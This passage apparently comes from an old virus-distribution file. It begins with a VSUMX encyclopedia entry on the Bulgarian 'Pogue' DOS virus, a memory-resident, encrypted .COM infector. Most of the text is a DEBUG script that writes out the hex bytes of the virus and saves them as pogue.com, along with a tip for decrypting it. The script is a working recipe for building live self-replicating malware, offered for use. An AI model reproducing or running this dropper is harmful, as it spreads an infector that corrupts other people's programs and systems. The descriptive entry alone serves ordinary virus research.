  2209. ----------------------------- VSUMX 9204 -------------------------------------
  2210.  
  2211.  Virus Name:  Pogue
  2212.  Aliases:
  2213.  Scan ID:     [Pogue] & [7S] & [DAME] & [512] (memory)
  2214.  V Status:    New
  2215.  Discovered:  January, 1992
  2216.  Symptoms:    .COM file growth; decrease in total system & available free
  2217.               memory; music
  2218.  Origin:      Bulgaria
  2219.  Eff Length:  2,973 - 3,850 Bytes
  2220.  Type Code:   PRhC - Parasitic Resident .COM Infector
  2221.  Detection Method:  ViruScan V86B+, Novi 1.1+
  2222.  Removal Instructions:  Delete infected files
  2223.  
  2224.  General Comments:
  2225.        The Pogue virus was submitted in January, 1992.  It is originally
  2226.        from bulgaria.  Pogue is a memory resident infector of .COM
  2227.        programs, but not those that have a base file name which starts
  2228.        with the three characters "COM".  Pogue contains portions of
  2229.        code from four other viruses:  512, Dark Avenger, Seventh Son, and
  2230.        Yankee Doodle.  It employs a complex encryption mechanism, and
  2231.        detection of infected files will require an algorithmic approach.
  2232.        It does occassionally infect a file with an inencrypted copy of
  2233.        itself, and as a result may appear to the user as an infection of
  2234.        one of the four viruses on which it is based.
  2235.  
  2236.        The first time a program infected with the Pogue virus is executed,
  2237.        the Pogue virus will install itself memory resident at the top of
  2238.        system memory but below the 640k DOS boundary.  Total system and
  2239.        available free memory, as indicated by the DOS CHKDSK program, will
  2240.        have decreased by 9,728 bytes.  Interrupt 12's return will not have
  2241.        been moved.  Interrupts 1C and 21 will be hooked by the virus.
  2242.  
  2243.        Once the Pogue virus is memory resident, it will infect .COM
  2244.        programs when they are opened, executed, or copied.  In the case of
  2245.        copying, both the source and the target file will infected.  The
  2246.        exception is that Pogue will not infect a .COM file if the base file
  2247.        name starts with the three characters "COM".  This is the mechanism
  2248.        used by the virus to avoid infecting COMMAND.COM.
  2249.  
  2250.        Pogue infected programs will have a file length increase of 2,973 to
  2251.        3,850 bytes.  The virus will be located at the end of the infected
  2252.        program.  The file's date and time in the DOS disk directory listing
  2253.        will not have been altered by the viral infection process.
  2254.  
  2255.        Usually the Pogue virus will encrypt itself using its garbling
  2256.        encryption mechanism on infected files.  In these files, no text
  2257.        strings will be visible within the viral code.  Occassionally, this
  2258.        virus will infect a file with an unencrypted copy of the viral
  2259.        code.  In these cases, the following text strings will be visible:
  2260.  
  2261.                "Pogue Mahone!"     - or -     "Pgoue Mahone!"
  2262.                "TNX2DAV"
  2263.  
  2264.        The unencrypted infections of Pogue on files as well the Pogue virus
  2265.        in system memory may be detected by anti-viral scanners as any of the
  2266.        four viruses on which Pogue is based.
  2267.  
  2268.        The Pogue virus will play music on the system speaker when it becomes
  2269.        memory resident and the system time is between 08:00 and 09:00.
  2270.  
  2271. ----------------------------- VSUMX 9204 -------------------------------------
  2272.  
  2273. To decrypt, simply fire up debug and type
  2274.   g 13D
  2275.  
  2276. ------------------------------------------------------------------------------
  2277. n pogue.com
  2278. e 0100  4D E9 04 00 00 00 00 00 BD 6C A1 B1 03 D3 CD 8B 
  2279. e 0110  CD BD 6E 85 81 CD 0F 74 8B F5 BD 92 3B 03 EE 33 
  2280. e 0120  E9 81 ED 0C B1 8B 9E 23 0D 81 C3 64 9D 87 9E 23 
  2281. e 0130  0D BB 31 8F 2B DD BD 33 8F 2B EB 75 E8 8B DD B1 
  2282. e 0140  03 D3 CB 84 63 9C C0 5B 63 9D B9 1F 51 9F B8 F3 
  2283. e 0150  E3 62 28 A8 8D 93 5F 41 08 FB C0 54 3D 76 30 BD 
  2284. e 0160  E2 98 08 10 CB 54 63 CC 2F BD 9E 9F D4 FB 80 A2 
  2285. e 0170  EE 74 AB 2A 3B 1C A1 9C 62 F6 D7 EB 03 9F 62 C9 
  2286. e 0180  C2 9E D4 E3 05 9F 62 1D 91 AE 62 FC 64 2A 69 AE 
  2287. e 0190  62 AA 81 55 2C A7 F2 8F 07 2A 3C 5A E7 9C ED 9A 
  2288. e 01A0  08 41 21 0C 63 27 61 41 08 A2 81 56 37 9D 1A BD 
  2289. e 01B0  87 69 84 56 70 9E 1A B8 87 62 69 AC 6E 9C F2 69 
  2290. e 01C0  84 CA 29 A2 2C A8 62 9C 4A A6 62 A3 81 5F B7 EA 
  2291. e 01D0  BA CE A6 DD B8 62 69 AD 6E 9C F2 63 69 AE 6E B2 
  2292. e 01E0  6E 63 69 B0 6E 08 6F 50 8D 69 84 1C 61 A1 D7 B4 
  2293. e 01F0  E2 96 64 11 76 63 69 AE 6E 32 6F 63 69 B0 6E 52 
  2294. e 0200  6F 62 69 AC 6E 9D F2 5F 17 C8 2F BD 60 69 E3 99 
  2295. e 0210  6A 12 51 5F 13 9F 31 38 A0 76 3D 10 91 EE B3 EF 
  2296. e 0220  B2 F2 B9 BA 68 1C 5F DA D7 A0 16 E1 4D A3 9F 9C 
  2297. e 0230  AD 11 6D 50 A0 69 84 0E 67 2F 4B 0C 63 A3 81 FB 
  2298. e 0240  C0 F4 BD F5 BC 39 91 9B 91 20 63 54 76 41 00 6B 
  2299. e 0250  FF BA B5 EC 70 BB E2 DA 72 A8 63 11 AA 1C A1 AD 
  2300. e 0260  6E 9C D6 A2 60 AA 73 A8 4D D6 ED BA 74 A8 46 FD 
  2301. e 0270  86 98 49 FD E5 DB 61 11 6A 62 69 AC 6E 9E 4D C0 
  2302. e 0280  12 52 49 DF ED A3 48 DE E8 60 49 DE 46 FD 6E 9F 
  2303. e 0290  48 FD E5 A2 74 A8 64 27 81 B0 6E 26 6A 3E 74 A8 
  2304. e 02A0  61 A2 76 A8 BA F7 81 39 91 9B 91 0C 63 98 1B 9C 
  2305. e 02B0  95 69 84 EE FB DC B2 69 84 23 36 54 87 D1 2F BD 
  2306. e 02C0  B5 A2 E9 76 71 BB 1C 6D 64 50 88 EC 2F BD 1A BC 
  2307. e 02D0  74 EF 2F CB 88 26 80 54 79 AE 2F CB BD A2 81 9B 
  2308. e 02E0  D8 9E 61 11 67 1D E0 C4 A5 EB D7 17 E3 19 8D E9 
  2309. e 02F0  D7 11 E4 19 83 DF B1 10 D1 1C E0 AE 52 0F CB 62 
  2310. e 0300  A8 9E 64 CF 22 BC A7 A0 E9 E1 77 EC 70 BB 1B A0 
  2311. e 0310  62 5A 28 A8 ED 72 17 DB 2F BD E2 D8 AF 10 A2 1C 
  2312. e 0320  9F F6 D6 D6 88 27 A8 AD 88 25 A8 B1 B2 F2 B9 F1 
  2313. e 0330  80 A2 B5 84 AF 9C BD 50 A3 69 84 D7 2A A3 81 F9 
  2314. e 0340  C1 FA BA 11 7C 63 67 E9 4B C9 66 9C EB E0 64 CF 
  2315. e 0350  22 C2 EB E1 77 55 67 9C ED 72 17 DC 2F BD 68 BB 
  2316. e 0360  F1 E1 77 1C B0 A2 A2 50 A1 38 71 84 3B 9A E3 E9 
  2317. e 0370  67 DC F1 E1 66 2B A8 9E BA BB BC 69 84 F4 BC 69 
  2318. e 0380  84 5F 5D 28 36 25 81 98 63 27 3F 25 81 9A 63 56 
  2319. e 0390  63 9D 65 5E F8 28 2B 2A 33 A1 52 9C F0 5C 1F 9C 
  2320. e 03A0  71 97 1C 65 6E 2C 96 9B 96 92 16 AB 1A 9D 6B 84 
  2321. e 03B0  D9 9C 5C CA 03 98 63 2A 33 CA 03 9A 63 27 43 97 
  2322. e 03C0  26 EC D1 03 D8 01 83 E9 C3 04 D2 0A C8 BD 62 80 
  2323. e 03D0  A3 26 43 80 A3 DC 4D BD B3 EF 90 26 81 66 6F CE 
  2324. e 03E0  61 CA ED 23 2F A8 4A CB 62 55 68 9C 33 7C ED 74 
  2325. e 03F0  95 78 DC 9D A2 7E 58 F7 BB EF 90 26 81 67 6F CE 
  2326. e 0400  61 CA EB 23 2F A8 E2 5F 65 CA EA BA 2D A8 E8 60 
  2327. e 0410  91 D6 80 66 6F F7 D7 A2 90 1C 69 66 6F 9E 25 E9 
  2328. e 0420  D6 E1 82 CC 90 D5 92 7D 5F BA B4 F1 4A C2 62 27 
  2329. e 0430  3D 31 BD FA BF C7 41 EF B9 ED 4A 5A 63 F5 C0 5B 
  2330. e 0440  BC A1 8D 95 BA EE 55 40 BC F6 C0 C7 2C C7 5C 3D 
  2331. e 0450  99 9D 59 74 26 A2 81 1F 24 B2 59 75 E3 7D 61 11 
  2332. e 0460  65 E5 AB 33 06 CE 63 9F 23 C0 60 11 65 E4 AA EC 
  2333. e 0470  F9 5B 97 9D 0D 2D 0E 31 0E 32 0E 4D 83 6E 44 1C 
  2334. e 0480  54 BC EA E9 55 F9 B7 EF 4A E0 61 5B 9F 9D 1B A4 
  2335. e 0490  62 4C 62 8F 0D 5B BC 9D 15 A3 4A B5 62 EB E3 9B 
  2336. e 04A0  BC 9D D6 AA B4 F3 B7 54 64 9C 4A 4C 63 FB F7 47 
  2337. e 04B0  C2 F6 BD F4 95 89 B3 EF B4 F3 95 5C 22 FF 62 27 
  2338. e 04C0  32 8F 0E 4C 67 22 A8 A8 B2 27 B8 A9 21 F5 65 F1 
  2339. e 04D0  4A 65 65 F9 4A E6 64 F4 C1 F6 04 D1 63 C0 63 C4 
  2340. e 04E0  68 CB 63 EC 4A 5C 65 F4 62 E0 45 2F BE C9 B2 9D 
  2341. e 04F0  D4 2F D8 A1 9B E0 50 11 EF F7 25 9F 2C 27 3A 33 
  2342. e 0500  04 CE 63 21 23 11 66 5B BC A1 1D F5 63 ED B2 D7 
  2343. e 0510  3C 10 72 E7 EC A3 96 9D 9E FD D6 9E 96 A5 0C DD 
  2344. e 0520  4D 89 BD F4 1D EC 63 21 35 10 6E 2D 13 85 0D 27 
  2345. e 0530  42 2E 0E 5B BC A1 58 A2 97 9D 6A 11 6C 93 3C 1F 
  2346. e 0540  44 AB 12 2C 56 46 F0 21 0A 96 64 A3 86 9A 64 A2 
  2347. e 0550  98 9D 4A 96 61 2A 40 6D 4B 27 2B 8F 08 F3 B2 CF 
  2348. e 0560  2B 2A 3C 28 2C 57 E2 A1 21 A8 62 96 EA E9 64 23 
  2349. e 0570  80 97 B4 EF B9 BA 68 BB 70 57 BC 9F 4A DA 62 31 
  2350. e 0580  6A FB 5C F4 0D F4 0D 97 BE BA 69 5B C6 9C 95 92 
  2351. e 0590  1C BD 62 CF 22 8F 12 10 8A 27 A8 9A 9E 62 D5 8F 
  2352. e 05A0  1D 9D 62 32 EE E1 A2 D7 25 10 6A A7 22 11 47 48 
  2353. e 05B0  FB 2E 4B BF 60 24 67 E2 AC 11 5A 87 39 A2 B5 67 
  2354. e 05C0  BD 5F B8 27 4F F3 B3 EF B2 27 C1 9E EC A3 D7 AA 
  2355. e 05D0  F5 5B 4A 9C 1B BD 62 8E 12 9B A8 58 ED 61 FB DC 
  2356. e 05E0  63 E2 64 F4 BD F5 C1 F9 31 5B 8C 9D 1A 9D 63 46 
  2357. e 05F0  0E 50 E4 3F 63 9C 4A 7B 60 2E 4B 77 60 26 C0 9B 
  2358. e 0600  95 9B EE 8F EE E8 61 1C 60 A2 D7 A1 E2 66 64 87 
  2359. e 0610  7A 1C 60 22 D8 9F 94 65 A6 BE A7 9E 9C 5F D6 BC 
  2360. e 0620  32 87 D6 A0 6C 65 D7 9E 6C 6E 13 9C D7 A2 6D 89 
  2361. e 0630  D8 76 13 9E 6C 89 DC A0 EB D1 12 9D EA A0 4D CA 
  2362. e 0640  F4 70 6F 1C 48 1C D7 9E 32 84 A3 DC A2 26 43 24 
  2363. e 0650  67 26 B8 9A A5 26 55 9A 29 24 D8 9A ED 76 1A 9C 
  2364. e 0660  EC 6B D6 A0 9E A2 D4 9E E8 69 96 5D EC A3 33 82 
  2365. e 0670  EC F0 83 9A A8 9B ED E1 60 D6 A7 9B D5 DF 4B 11 
  2366. e 0680  62 E9 6C 92 DC 0D ED D0 A7 10 59 E9 D7 D0 B5 57 
  2367. e 0690  E6 A2 E8 62 91 73 9F 22 E9 62 F6 4D 91 3C 98 9D 
  2368. e 06A0  D7 A6 0A 9E D7 9E 13 DA 0A A0 4D A4 0A A0 D7 9E 
  2369. e 06B0  13 D2 0A 9E D6 9F EC 5D 0D F4 4A D9 62 25 DF 80 
  2370. e 06C0  0E 5F EE 71 F0 09 64 95 26 23 63 22 E7 21 1D AF 
  2371. e 06D0  6C 92 DB 4E 9D 8C D7 85 E3 18 46 9B D8 B5 B2 A6 
  2372. e 06E0  58 10 69 A6 22 11 72 26 29 A7 4F 11 67 D6 66 10 
  2373. e 06F0  68 F7 6E 2C 0D 5F BB A8 7A 2F 0D 2F 14 9F 34 7C 
  2374. e 0700  6D 62 0D 5F EE 74 33 84 EE 64 34 7D 22 BF 62 8E 
  2375. e 0710  11 11 17 29 D8 7A 34 8A E3 D8 65 0E 55 29 A8 7A 
  2376. e 0720  26 3C 8F 9D FA 6C 43 84 3D 9B D5 0B 05 C5 63 84 
  2377. e 0730  35 9B D6 9E 94 5C B3 6C 4B 24 AA BD 32 87 02 26 
  2378. e 0740  6A C0 E1 D8 65 11 69 3A D5 E4 A2 87 A6 D8 66 11 
  2379. e 0750  70 3A D6 A3 ED 8F 14 A4 35 DC 83 E4 4D CE 9E A2 
  2380. e 0760  D4 CC D7 C6 32 7F ED FB 84 6C 46 27 DA BD 95 5C 
  2381. e 0770  1D 9D 62 27 2B 27 5D 25 E2 BD B0 10 78 E2 59 92 
  2382. e 0780  B5 93 4A C7 2A 23 32 27 29 CF 34 FA 4D 85 97 AB 
  2383. e 0790  EA A3 BA A6 22 11 FB 6C 91 C5 63 5F EB BA 90 9D 
  2384. e 07A0  B4 F3 4A E0 60 FB BC F3 21 E0 63 54 62 9B 0E 9A 
  2385. e 07B0  23 47 0E 9A 2B 47 EB E1 65 26 C0 79 B6 EE 4A 36 
  2386. e 07C0  64 27 5A 84 5C 9D BC F7 C1 EF A7 10 67 E9 D7 FE 
  2387. e 07D0  A7 E9 A4 10 6B E6 AF 26 67 84 BB A0 A7 F7 B9 84 
  2388. e 07E0  68 9E 6D 89 D8 E0 BB E9 1A EC 63 23 A7 80 6D 92 
  2389. e 07F0  DB BC A7 ED B2 26 A7 9F 86 53 9F 23 D8 E7 9D 08 
  2390. e 0800  51 11 A9 1C D8 98 65 6C C7 9F DB E6 15 93 13 9F 
  2391. e 0810  4D DD E3 95 BF 9D D7 A9 E5 85 66 1F 52 9F EC B8 
  2392. e 0820  94 9B 61 E4 52 57 B3 9D 4D 09 6D 92 DC B0 EC D0 
  2393. e 0830  4D AC B7 84 14 9D EC E0 63 A8 F2 46 BB A6 58 15 
  2394. e 0840  64 2E BB 53 62 62 68 67 26 84 EF 97 87 9E 66 23 
  2395. e 0850  F6 26 29 84 93 9A ED A0 E3 9B BC 9F D5 BF B2 E9 
  2396. e 0860  94 6E ED 8C 33 08 45 84 99 9B B5 F3 4A 4E 61 84 
  2397. e 0870  16 9C C1 F6 B3 84 92 9B BC F4 4A 53 66 A6 4F 14 
  2398. e 0880  67 A8 A2 46 0D 4C D8 46 BE F4 ED 64 8E 63 AB 46 
  2399. e 0890  6D 5C DB 9F 95 77 26 84 0E 9B B4 56 BC A1 E3 9B 
  2400. e 08A0  BC 9F D5 0D B6 4F 6A 27 38 84 53 9A BA 5B BB 9D 
  2401. e 08B0  95 77 EE 73 ED E8 4A 6C 4C 38 D6 A6 9C 14 53 11 
  2402. e 08C0  68 29 AA EC 5F 46 A6 39 D8 89 AA D7 5C 0F 87 D6 
  2403. e 08D0  DE 7F D8 A3 ED 96 29 A1 C2 87 7B F3 4A 95 5D C0 
  2404. e 08E0  69 34 F6 9F 41 D7 3C 13 56 26 68 22 6A 46 9E 96 
  2405. e 08F0  D8 86 C2 F9 ED 69 8E 6B E6 18 49 9C D6 A2 E3 5D 
  2406. e 0900  BF 9D 8D 6B EE F0 4E 27 25 9F 33 9F A6 8A BE 1F 
  2407. e 0910  DF 8A 63 11 65 27 25 84 68 9C F4 F6 ED F8 46 C7 
  2408. e 0920  A6 86 EC A3 25 CF 2B 3C 8C 9D FA 2F 1D 9A 62 26 
  2409. e 0930  6A D8 65 10 69 D8 66 11 84 93 3D 6C 46 EF A5 84 
  2410. e 0940  67 9C BD 56 65 9C EC FB 83 D6 A1 11 70 27 56 9F 
  2411. e 0950  B2 BD 6C 6E D7 A0 EB EC 83 E5 25 CE 61 1C 8A 1B 
  2412. e 0960  ED B3 ED 5F 33 7F EE FB 83 1C 5D 9F D4 EC B2 EF 
  2413. e 0970  4A 84 62 F7 EC 7B B5 84 44 9B F6 F5 BD 26 9A 1C 
  2414. e 0980  51 A9 D6 A1 E2 62 6A 11 6B 24 D8 9F EA 11 55 87 
  2415. e 0990  87 1C 61 A1 D5 BB 6C 6E D8 B2 9C F1 45 10 79 C8 
  2416. e 09A0  70 C0 71 D8 67 0F 6C D8 64 0F 6D 1C 61 9F D4 A1 
  2417. e 09B0  EA 19 54 4E E3 A6 33 1C 45 1C 6D B3 EA B3 25 84 
  2418. e 09C0  71 9C 4A AF 5C C0 69 10 75 CE 22 D6 A6 9F D6 A7 
  2419. e 09D0  4A A1 5C C0 65 11 65 4C 6A D0 66 34 EE 74 E9 14 
  2420. e 09E0  5B A6 61 10 4E 46 26 63 A7 9E 61 1C 95 9B ED A3 
  2421. e 09F0  87 1B 63 6C 46 56 63 9B AB 10 4E 26 97 E4 D6 82 
  2422. e 0A00  EE F3 83 14 44 EC B4 EF EC 7A 4B 76 62 F7 BB F4 
  2423. e 0A10  9E A8 D7 DC 6C 6E D8 6A 9D D0 D6 66 B3 ED B5 EE 
  2424. e 0A20  4A AA 64 F6 ED E0 63 D6 52 11 67 A6 46 10 68 4F 
  2425. e 0A30  E8 84 26 98 BE 4C D8 46 A8 10 76 1D 62 F5 65 0E 
  2426. e 0A40  67 1C A8 9B BA 27 2A 23 AA FF EB 23 4A 9C AF E3 
  2427. e 0A50  ED 73 4E 05 B3 ED 6C 6E D8 FF 9C 10 64 11 C1 26 
  2428. e 0A60  A7 9F 6C 5C DB BD 86 A3 D6 A4 9C A0 D6 B5 9E 9F 
  2429. e 0A70  D4 B1 E2 11 61 9E 58 E0 65 DC D6 D7 B2 A8 3A 26 
  2430. e 0A80  43 4C 5A 47 BB 87 93 84 B1 95 1C A4 62 EC EC 62 
  2431. e 0A90  6F EC 0C F4 15 1C 46 BF B1 E5 A2 C0 69 34 EE 74 
  2432. e 0AA0  ED FC 5A A6 46 10 49 E7 D7 A6 BD EF 94 9B ED C3 
  2433. e 0AB0  6C 80 DB 75 4B 19 64 2F 61 DC 5A 26 56 F7 B4 84 
  2434. e 0AC0  88 9B 4B 08 64 F6 BA 62 A7 9F E2 D8 6E 11 6F 27 
  2435. e 0AD0  3D 27 3A C7 35 24 BA 9B 4C BE 63 26 4F EC 6C 6E 
  2436. e 0AE0  D8 C0 E2 9A E3 11 73 C8 67 D8 66 4C 64 0E 64 DC 
  2437. e 0AF0  EC 8C 6F F4 0C 87 72 A6 58 14 6E D6 96 10 6A 26 
  2438. e 0B00  41 CE 61 9A AB 94 BB 4F 6E C8 6B 10 78 4F 86 E4 
  2439. e 0B10  D6 AC 66 A2 FA 15 C8 4F 96 DC D6 A2 15 9F DC 9E 
  2440. e 0B20  15 C7 EC E0 63 A6 34 11 7B 1C 49 23 E3 97 8E 11 
  2441. e 0B30  66 1C 31 DC EA 10 66 84 AB 97 D6 0D 6D 5C D7 9D 
  2442. e 0B40  A7 1C 56 A2 B4 DE A4 1F 5D A1 BC 0F A4 A7 22 14 
  2443. e 0B50  75 1C 5E D1 D7 D4 A4 11 97 26 53 4C 65 4F 5A 26 
  2444. e 0B60  4E 87 37 A7 34 15 68 93 3D 1C 56 C4 6E DC E2 97 
  2445. e 0B70  68 10 65 A8 6A 46 AD 10 97 46 4E CD 13 A0 D7 CB 
  2446. e 0B80  6C 6E D7 A2 1A 56 65 46 F5 47 F4 87 33 E6 6C 5C 
  2447. e 0B90  D7 B0 E2 7F 9B A8 22 A6 3A 26 25 34 96 5E 13 1D 
  2448. e 0BA0  D8 9F 12 1F 5C 46 F6 46 F5 47 D6 9D B1 87 AE DD 
  2449. e 0BB0  9E A3 D6 68 A3 D8 66 38 D6 9E 8E 9E 6C 6E D8 DF 
  2450. e 0BC0  B2 4C 64 4F ED 26 4E 1C 61 9F D6 9D A5 84 67 97 
  2451. e 0BD0  BB 39 B3 0E 6F 54 E3 BB E6 00 46 10 67 46 13 7D 
  2452. e 0BE0  0E F4 15 6F 15 9D EC 10 64 84 6E 97 F5 1C 5E 5D 
  2453. e 0BF0  D7 A3 32 84 D5 A0 F5 46 F5 46 EB 08 65 26 D7 9D 
  2454. e 0C00  94 6E 26 4F 24 39 D6 A7 EC 87 59 5E 6B 10 67 92 
  2455. e 0C10  3D D0 63 1C 45 AB D6 81 E3 96 64 10 68 D6 C6 7F 
  2456. e 0C20  D7 60 16 6D E3 96 66 0E 20 EC 12 4D ED 7E 0E 87 
  2457. e 0C30  13 26 A7 9D FA EC E3 9B BC 9F D5 A1 ED 74 EB 14 
  2458. e 0C40  53 A6 34 11 6A 4F EE 84 E9 96 D6 A1 6E 54 0D 2E 
  2459. e 0C50  0E F4 25 9C 62 B2 6E 08 6F E4 7E CE 7B CC 77 7C 
  2460. e 0C60  75 CC 77 34 6D D5 6D 35 6F C0 70 C0 70 34 6D D5 
  2461. e 0C70  6D 34 6D CC 77 CC 77 CC 77 7B 72 6C 73 7C 75 6C 
  2462. e 0C80  73 7C 75 6C 73 7C 75 CC 77 7C 75 CC 77 34 6D D5 
  2463. e 0C90  6D 35 6F C0 70 C0 70 34 6D D5 6D 34 6D CC 77 CC 
  2464. e 0CA0  77 CC 77 7B 72 6C 73 7C 75 CC 77 CC 77 9B 62 A0 
  2465. e 0CB0  66 A8 66 A4 66 A0 6E A0 6A A0 66 A4 66 A0 6A A0 
  2466. e 0CC0  66 A8 66 A4 66 A0 6E A0 6A A0 66 A8 66 A4 66 A0 
  2467. e 0CD0  6A A0 66 A4 66 A0 6E A0 6A E4 7E CC 77 0E 79 7C 
  2468. e 0CE0  75 CC 77 E4 7E 3D 84 CE 7B 5A 82 7C 75 CC 77 0E 
  2469. e 0CF0  79 CE 7B E4 7E E4 7E 9B 62 A4 6E A0 66 A0 66 A0 
  2470. e 0D00  72 A4 66 A0 72 A4 6A B4 2F BC 62 9C 82 86 4C BC 
  2471. e 0D10  A4 CA 75 80 03 2A 74 60 4A E9 73 40 83 08 75 A9 
  2472. e 0D20  25 C8 E4 
  2473. rcx
  2474. 0C23
  2475. w
  2476. q
  2477. ------------------------------------------------------------------------------
  2478.                                                                             DA
  2479.